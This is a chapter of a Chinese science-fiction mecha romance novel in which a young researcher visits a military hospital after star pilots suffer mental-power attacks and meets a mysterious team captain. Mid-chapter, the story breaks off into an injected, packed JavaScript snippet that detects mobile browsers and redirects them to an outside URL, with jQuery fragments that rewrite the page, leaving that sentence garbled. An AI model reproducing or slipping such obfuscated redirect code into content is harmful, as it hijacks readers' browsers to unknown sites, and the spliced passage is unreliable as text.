薛祈当天赶回塞涅研究院。
戚桐带着师姐师兄们走后,任务虽然加重了,但研究院气氛好了不少。戚桐虽然没给薛祈派任务,但人少任务多,薛祈和组里其他师兄师姐的关系挺好的,虽然完成了最后一个项目的收尾工作,但薛祈依旧在研究院帮忙做点小实验和杂事。
因为大一寒假就进了戚桐负责的研究所,一综学生如果提前参与导师项目,需提前请假。项目期间所有课程转为线上课程,在项目结束后立即返校学习。
而薛祈所在的项目组的组长已经跟着戚桐去了安仁星,项目的结项会议和结项报告需要延后。
等薛祈的组长,也就是高学姐,从安仁星回来后,薛祈就得回校了。
薛祈隔天才回景絮所在的联邦东守军附属医院。
医院外围满了记者,好不容易挤进医院,却被告知景絮所在的住院部已经禁止闲杂人等踏足。
“闲杂人”站在嘈杂的医院楼下,周围大都是记者。按理来说,联邦东守军附属医院归属于东守军团,是不会让这么多记者集聚在此。
除非……是景絮的事已经大范围传播。
联邦无法继续隐瞒下去了,现在更不能捂住悠悠众口,所以医院的警卫不能严厉驱逐这些记者。
不仅不能驱逐,还需要有人给个解释,给个交代。
薛祈点开光脑,果然星网上精神力相关话题已经爆了,在那个话题之上是官方发布的联邦机甲组织委员会副会长的紧急直播。
精神力遭受攻击,这是自星历2206年正式确认精神力存在以来从未有过的新发现。
精神力缺陷是天生的,精神力受损是自己过度使用或使用不当造成的。但精神力居然能受外部因素的影响,联邦一直不敢公开也是怕造成社会恐慌,打算等研究完或者解决完再公之于众。
如果只有联邦,当然可以瞒得住,可欧诺尼亚帝国也有星际赛机甲队员遭受了精神力攻击,帝国那边根本没打算隐瞒这些消息,欧诺尼亚受伤的队员是欧诺尼亚帝国首相独女,更是一队首发左锋,平常受了点伤都会在帝国热搜上挂上一天。
放眼整个星际,比她人气高的也就只有西莉妮勒,卞承之和星际三大指挥了。
景絮已经了解得差不多了,可她对那位受伤的帝国左锋却所知甚少。
好在这人足够出名,受伤昏迷信息几乎是半公开。
联邦信息有限,于是她费了点劲登进了欧诺尼亚帝国内部星网。
#谢一仪近况#
#卞承之怒斥不良记者#
#首相泪洒医院#
谢一仪,比起这个名字,她更容易想起这人的本命机甲——翠鸟。
青鸟作为综合性机甲,主武器匣是软鞭,副武器匣是减速炮,软鞭在攻击性,防御性和难度上,并不那么讨人喜欢,可谢一仪却用得炉火纯青。
薛祈看星际赛的时候觉得青鸟的软鞭在谢一仪手上,宛如一条灵活的青蛇。
蓦然,薛祈注意到一则带着两张照片的报道
第一张照片里的人站在青白混色的机甲旁,左手揽着防秽气头盔,右手拍着翠鸟的机甲外壳,金色的长发亮闪闪的,脸上的笑格外灿烂。第二张照片也是网络上流传甚广的一张,在前一张照片里笑语盈盈的人此刻双目紧闭,面色苍白,额头的汗打湿了额前碎发,金色的长发此刻好像也失去了光泽,周围是面色焦急的队友。
而这篇报道的名字则是:青鸟失去了它的翅膀
青鸟自发行以来,一直是冷门机甲,操纵困难的软鞭一直让人诟病,之前一直有人呼吁把副匣的热武器换到主匣。
直到谢一仪的出现,才让人意识到青鸟的恐怖之处。如果谢一仪因这次意外无法再操纵机甲,那么青鸟又会重回冷门机甲之列,和当年青霜一样。
薛祈扶着墙,头好像也开始一阵一阵地抽痛。周围太多嘈杂的人声,薛祈感觉脑子都快爆炸了。
她刚给欧阳慕发了消息,但他好像很忙,一直没回,薛祈离开了嘈杂的记者区。
医院环境很不错,她记得离住院部不远处有一处小公园,她那样单手撑着脸,坐在公园的复古木椅上。
耳畔是微型喷泉的水声,眼前是郁郁葱葱的绿草和点缀在草地上的野花石子。
除了复杂,薛祈想不出用哪一个词来描述自己的现在的心情。
惋惜吗?当然有,任谁看到两名本该抵御虫兽的优秀机甲师变成普通人甚至不如普通人的废人,心里都会难过吧?
内疚吗?也有之,如果自己当年偷偷告诉欧阳慕精神力攻击相关信息,也许就能降低悲剧发生的概率。可自己一味地遵循了联邦军方所提出的要求。
但更多的是迷茫。
好像这几年,她一直处于迷茫犹豫的状态。
她好像一直站在漠漠黄沙的沙漠中心,找不到绿洲,也找不到出路。
当她意识到自己无法再成为一名远程机甲师之后,她在疼痛之余,开始思考自己的未来。
但那段时间头痛得无法思考,于是她的中将父亲,大手一挥,除了精神力之外身体好全后的一个月后,把她扔进了军事高等教育,也就是军校预备校。
薛中将希望她成为一名不接触机甲的普通单兵,毕竟体质等级3S+,只要努点力,考个正常的军校不成问题。
至今薛祈都还记得,进预备校的那个晚上,在外人面前向来高傲严肃的男人,此时在视频通讯里,近乎恳求的语气:“无论你之后走哪条路,我只希望,你以后都不要碰机甲。算……算父亲求你了。”
薛祈在那个晚上,沉默了很久。
那个向来秉公办事,看待事物向来客观的中将,彼时十分怨憎机甲。
因为机甲,他失去了正常的妻子,失去了健康的女儿。
他当然知道不能怨恨一个受人操纵的物品,但人的情感是极其主观的,他需要一个载体去承担他的愤怒。
所以最后薛祈就算从预备校退学,也没碰过一次机甲,而是选择了文化科。
薛祈觉得,只要自己足够努力,就算那条路并不好走,她也会能通过文化科找寻当年的真相。可现在,薛祈觉得自己好像错了。
她在文化科这条路上,努力了五年。可涉及到关键线索的关键时刻,却因为资历不够,无法参与。
如果没有欧阳医生,她压根接触不到和她一样的受害者
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943221|177454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
而且信息闭塞,开展的研究居然在事发后的五天后。
五天,黄花菜都凉了。
思绪飘得很远,似有所感,偏头,和一双灰绿色的眼睛对上,像极了银香菊的叶色,柔和宁静。他就站在离自己不远处的喷泉旁,等他走近,薛祈甚至能看见他那柔软的银灰色头发湿润了不少,几滴顽皮的水珠还挂在他那头发上,在那张精致得像全息建模的脸的映衬下,连水珠都像是装饰品。
薛祈和他对视上,那人就笑了。笑的时候更显清疏宽和。
还怪好看的。
薛祈觉得这人眼熟,好像是星际赛的一个一队成员,差点想起来了,对方一笑,完全没印象了。
这么一打搅,薛祈那些胡乱的思绪不知道飞哪去了。
恰好欧阳医生回她消息。
[欧阳医生:忙忘了忙忘了,刚帝国又送了个人,帝国联邦一合计,把我那早就退休的老师请出山了。]
[欧阳医生:正好你来了,叫我老师帮你也看看,我那精神力我是真摸不清。]
[欧阳医生:哦,我刚找了人,你跟他上来就好,他瞳色有点少见,长得很高]
薛祈也不撑着脑袋了,看了看这条消息,对照了离自己不远处一直看着自己的人。
确诊了,就他了。
薛祈头也不疼了,站起身,对那人喊道:“你要找的人是我,走吧。”
也没管对方回没回应,大步向前迈去。回头一看,那人正有些傻眼的看着她,薛祈觉得,这样呆的神情,怎么会出现在这样一张看起来睿智帅气的脸上。
她叹了口气:“你不是欧阳医生派来接我的吗?”
大帅哥一副恍然大悟的表情,乖乖地带着她去她刚被赶出来的楼。
因为住院部的前门被堵住了,薛祈跟他走的是之前不怎么开放的左侧门。
薛祈有点不认识路,就让他走自己前面了。
和不熟悉的人,薛祈自然是沉默以待。对方看起来也沉默寡言,薛祈走在后面,男人穿着一件长款的简约复古的灰色风衣,布料看着很高级,但最让薛祈觉得不对劲的是脚下那双类似于军靴的鞋,怎么看着那么眼熟呢。
薛祈总左看右看,发现那鞋子上有外国字。
薛祈正想细瞧,对方突然回头。
“怎么了?”声音温润清透。
她心虚地摸了下鼻子,总不好意思说,自己刚在盯着人家的鞋看吧?
“没事……你穿搭真棒!”
对方脸色不变:“谢谢。”
薛祈不敢再盯着人看了,专心看着地走路。
到达指定楼层时,医院病房走廊,有人和他打招呼。
“诶,队长,刚想打你通讯呢,阿时说他没见着你。”
“你去接吧。”
“哦,不过队长,你耳朵怎么红了?你是不是吃了什么过敏的东西,还是缔星联邦虫子多,听说安仁星终年气候温暖如春。”
“你去不去接人?”
“哦,对了,我得去了,阿时脾气那么暴躁,他不敢凶你,可是会折磨我呢。”
薛祈视线下移,和男人打招呼的人,穿着和他一样的鞋